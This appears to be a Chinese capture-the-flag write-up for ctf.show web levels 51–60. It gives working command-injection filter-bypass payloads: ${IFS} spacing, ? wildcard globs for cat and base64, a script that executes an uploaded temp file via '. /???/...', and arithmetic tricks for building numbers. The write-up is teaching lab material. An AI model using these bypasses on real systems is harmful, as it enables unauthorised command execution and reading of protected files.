当前位置: 首页 > news >正文

web入门51-60

web51

分析代码
image
分析tac被禁用了,使用nl代替
?c=nl<fl\ag.php||ls
image

web52

分析代码
image
发现<被过滤了,使用${IFS}代替

?c=nl${IFS}fl\ag.php||ls
注意这关的flag不在flag.php里面,就在flag里面,所以要查看/flag,不要.php,前面加"/"好
?c=nl${IFS}/fla''g||ls

image

web53

分析代码
image
?c=nl${IFS}fla\g.php
image

web54

分析代码
image
过滤了很多命令,发现没有过滤?,可以用?模糊匹配
?c=/bin/ca?${IFS}f???????
加/bin是为了匹配到cat,不加路径就匹配不到cat
image

web55

分析代码
image
发现过滤了字母,但是没有过滤数字,和上一关一样使用?模糊匹配
?c=/???/????64 ????.???
image
解码得到flag
image

web56

分析代码
image
这次数字也被过滤了,写一个脚本

点击查看代码
import time
import requestsurl = "http://db30142e-7c2b-406d-b804-560d22e9060e.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}with open('.\\1.txt','r') as file:files = {'file': file}while 1:r = requests.post(url,params=payload,files=files)if r.text:print("\n" + r.text)breaktime.sleep(1)print(".", end=' ',flush=True)

1.txt里面写需要执行的命令
image
具体原理:https://www.cnblogs.com/FallenStar/articles/16834476.html

web57

分析代码
image
发现flag在36.php里面,数字被禁用,现在需要用符号构造36出来,需要用到Linux下的知识:

$(())=0
$((~$(())))=-1
$(($((~$(())))$((~$(())))))=-1-1=-2
取反的公式为:~x=-(x+1)
所以想要得到36就需要对-37取反
$((~$(())))里面需要包裹37个$((~$(())))

用python写一个脚本

点击查看代码
a="$((~$(({}))))" # 取反操作
b="$((~$(())))"	  # -1
payload = a.format(b*37)
print(payload)

image

web58

分析代码
image
发现system()、passthru()等都被禁用了,网上搜了一下,可以使用

c=readfile('flag.php'); 
c=show_source('flag.php'); 
c=echo file_get_contents("flag.php");
c=var_dump(file('flag.php'));

image

web59

分析代码
image
跟上一关一样,使用c=show_source('flag.php'); 获得flag
image

web60

分析代码
image
还是和上一关一样c=show_source('flag.php');
image

http://www.jsqmd.com/news/258893/

相关文章:

  • 一下午讲了 9 道题?!
  • 单锥真空螺带干燥机怎么挑?2026年优质厂家解析,沸腾干燥机/喷雾干燥机/污泥干化,单锥真空螺带干燥机定制厂家找哪家 - 品牌推荐师
  • 永磁同步电机参数辨识模型,在线辨识,离线辨识,电参数机械参数均可辨识,基于最小二乘法,滑模观测...
  • 2025年上海组织效能人才管理咨询企业权威推荐榜单:跨境管理咨询 /数字化转型管理咨询 /组织效能人才管理咨询/ 管理咨询公司避坑/ 供应链管理咨询伙伴精选 - 品牌推荐官
  • Eunomia:分层卫星网络中多控制器域划分框架 - 指南
  • Redis技巧:处理大量Key同时过期的5个关键点!
  • 2026年如何挑选国内新型高铁实训室优质厂商?诚信的实训室批发厂家聚焦优质品牌综合实力排行 - 品牌推荐师
  • 深度测评专科生必备8款AI论文工具:开题报告文献综述全攻略
  • 安徽合肥GEO公司找哪家 - 野榜数据排行
  • 免费网站进阶!——InfinityFree创建数据库教程
  • 【脑源定位】基于非负块稀疏贝叶斯学习算法脑电脑源定位附Matlab代码
  • 2026福建草本塑魔仪抗衰套装公司权威推荐榜单:美航著妍草本年轻态团购 /美航草本年轻态加盟 /草本年轻态面膜美航/草本年轻态产品/ 美航草本年轻态企业精选 - 品牌推荐官
  • 2026年组装/厂区/工厂/花园/铁艺锌钢护栏实力厂家推荐:精选源头企业,适配工业、建筑、市政全场景 - 品牌推荐官
  • 【数据分析】基于 RANSAC算法的鲁棒直线拟合实现附matlab代码
  • 2026年杭州滨江集团房源渠道权威解析:好房首选 /捡漏好房 /买房首选 /性价比房源/ 2026年新房平台甄选 - 品牌推荐官
  • 2026年专业的淮安整装,淮安系统门窗,淮安全包公司选型推荐手册 - 品牌鉴赏师
  • 2026年真空干燥机行业全景报告与制造厂家推荐榜:立式/卧式/四轴螺旋/夹套螺旋/空心螺旋/连续高效真空干燥设备选型指南 - 品牌推荐官
  • 闪测仪厂家综合实力TOP5榜单:技术与市场的深度洞察 - 工业仪器权威说
  • STM32——定时器:通用定时器
  • 【MongoDB实战】5.1 聚合管道基础:理解阶段(Stage)概念 - 实践
  • STM32——定时器:高级定时器
  • 【Java毕设全套源码+文档】基于springboot的健康医疗体检管理系统设计与实现(丰富项目+远程调试+讲解+定制)
  • 【Java毕设全套源码+文档】基于springboot的健康医疗体检管理系统设计与实现(丰富项目+远程调试+讲解+定制)
  • 吉林市船营昌邑龙潭丰满英语雅思培训辅导机构推荐,2026权威出国雅思课程中心学校口碑排行榜 - 苏木2025
  • 学长亲荐2026专科生必用TOP10AI论文工具测评
  • 学长亲荐2026专科生必用TOP10AI论文工具测评
  • 2026.1.17抽象代数考试
  • STM32——MPU(内存保护)
  • 长春市榆树德惠农安英语雅思培训辅导机构推荐,2026权威出国雅思课程中心学校口碑排行榜 - 苏木2025
  • 2026年重庆零基础英语培训机构权威推荐榜单:剑桥英语培训 /线下英语培训 /英语口语培训 /英语补习 /英语学习/ 线上英语培训服务商精选 - 品牌推荐官